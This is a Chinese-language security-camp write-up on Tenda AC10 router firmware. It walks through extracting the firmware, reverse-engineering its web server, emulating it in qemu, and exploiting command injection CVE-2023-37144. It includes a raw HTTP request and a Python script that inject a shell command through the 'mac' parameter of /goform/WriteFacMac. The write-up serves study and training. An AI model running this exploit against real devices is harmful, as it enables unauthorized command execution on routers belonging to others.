TeamT5 Security Camp 2023 pre-exam Writeup
===
解包與逆向分析
---
### 1.1 extract firmware
使用
```
unrar e US_AC10V1.0RTL_V15.03.06.23_multi_TD01.rar
```
解壓縮後使用 binwalk 查看
```
terry1234@ubuntu:~/t5camp$ binwalk US_AC10V1.0RTL_V15.03.06.23_multi_TD01.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
10328 0x2858 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7070932 bytes
1068530 0x104DF2 MySQL ISAM index file Version 6
2105426 0x202052 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3700854 bytes, 810 inodes, blocksize: 131072 bytes, created: 2038-04-24 02:46:24
```
可以使用以下指令獲得檔案系統
```
binwalk -e US_AC10V1.0RTL_V15.03.06.23_multi_TD01.bin
```
### 1.2 逆向
httpd 會先呼叫 init_core_dump() setup_signals() apmib_init() 進行初始化,並反覆呼叫 check_network() 檢查網路,失敗則會 sleep 1 秒直到通過檢查。
之後會使用 GetValue() getIfIp() 等函數獲取各個參數的資料,並呼叫 initWebs() 對網頁進行初始化
initWebs() 會設定以下資訊後,呼叫 websOpenServer(port, retries) 嘗試開啟 server
```
websDefaultDir = ""/webroot"
websIpaddr = ipaddr
websDefaultPage = "main.html"
websHost = host
websPassword = password
```
成功的話就會使用 websUrlHandlerDefine() 與 formDefineTendDa() 註冊 Handler
websOpenServer(port, retries) 會呼叫 websUrlHandlerOpen()、websFormOpen() 與 websOpenListen(port, retries)
websOpenListen() 會呼叫 socketOpenConnection() 開啟 socket
### 1.3 漏洞和攻擊面分析
#### CVE-2023-37144

formWriteFacMac 中會使用 websGetVar 獲取 mac 參數的值並傳入 doSystemCmd() 中
doSystemCmd() 可以在 libcommon.so 中被找到
沒有過濾傳入 system() 的內容,造成 Command Injection

查看 Xrefs 發現 formWriteFacMac() 被 formDefineTendDa() 使用 `websFormDefine("WriteFacMac", (void (*)(webs_t, char_t *, char_t *))formWriteFacMac)` 註冊為 `WriteFacMac` 的實作
而 formDefineTendDa() 則在 initWebs() 中被呼叫

所以發送以下 HTTP request 即可進行攻擊(下面有 demo)
也可以直接訪問 `http://192.168.94.139/goform/WriteFacMac?mac=;echo%20pwned%20by%20Terry1234` 進行攻擊
```
GET /goform/WriteFacMac?mac=;echo%20pwned%20by%20Terry1234
Host: 192.168.94.139
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: password=ownmji
Upgrade-Insecure-Requests: 1
```
Web服務模擬實作
---
### 配置執行環境
嘗試使用 qemu-mipsel-static 模擬,先將 qemu-user-static 複製到 squashfs-root 底下
```
sudo apt install lib32z1 qemu-user-static
sudo cp $(which qemu-mipsel-static) ./
```
可以使用以下指令模擬
```
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
```
會出現以下錯誤,所以對 httpd 做 patch,跳過 apmib_init()
```
terry1234@ubuntu:~/t5camp/_US_AC10V1.0RTL_V15.03.06.23_multi_TD01.bin.extracted/squashfs-root$ sudo chroot . ./qemu-mipsel-static ./bin/httpd
init_core_dump 1917: rlim_cur = 0, rlim_max = 2147483647
init_core_dump 1926: open core dump success
/bin/sh: can't create /proc/sys/kernel/core_pattern: nonexistent directory
init_core_dump 1935: rlim_cur = 5242880, rlim_max = 5242880
Yes:
****** WeLoveLinux******
Welcome to ...
Read hw setting header failed!
Invalid hw setting signature [sig=]!
Initialize AP MIB failed !
```

將 jalr t9 這行 patch 成 li v0, 1; nop 並匯出即可,後面對 check_network() 與 ConnectCfm() 的 patch 方法都跟這個相同

接下來似乎會進入無窮迴圈,推測是這邊出問題,嘗試對 check_network() 做 patch

會出現 connect cfm failed!,所以對 ConnectCfm() 也做 patch
將匯出的檔案(httpd_patched)放入 ./squashfs-root/bin,使用以下指令嘗試啟動
```
cd squashfs-root
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd_patched
```

IP 地址不對,參考了一些文章後發現要加一張 br0 的網卡(ens33 是我的網卡名稱)
```
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
```

成功啟動
有看到一些文章說會出現 Access Error: Page not found,不過我沒遇到,可以用以下指令處理
```
rm rf webroot
sudo ln -s webroot_ro/ webroot
```

我用 browser 初次開啟時沒有遇到登入介面,不確定原因
可以用 gdb-multiarch 動態調試
```
sudo apt install gdb-multiarch
sudo chroot . ./qemu-mipsel-static -g 1234 ./bin/httpd_patched
```

漏洞利用實作
---
### Exploit CVE-2023-37144
在錄 demo 的時候發現第一次執行會被 redirect 到 main.html,第 2 次執行才成功
```py=
import requests
url = 'http://192.168.94.139/goform/WriteFacMac'
headers = {
'Host': '192.168.94.139',
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cookie': 'password=ownmji',
'Upgrade-Insecure-Requests': '1'
}
params = {'mac': ';echo pwned by Terry1234'}
response_get = requests.get(url, headers=headers, params=params)
print('status code:', response_get.status_code)
print('GET response:', response_get.text)
```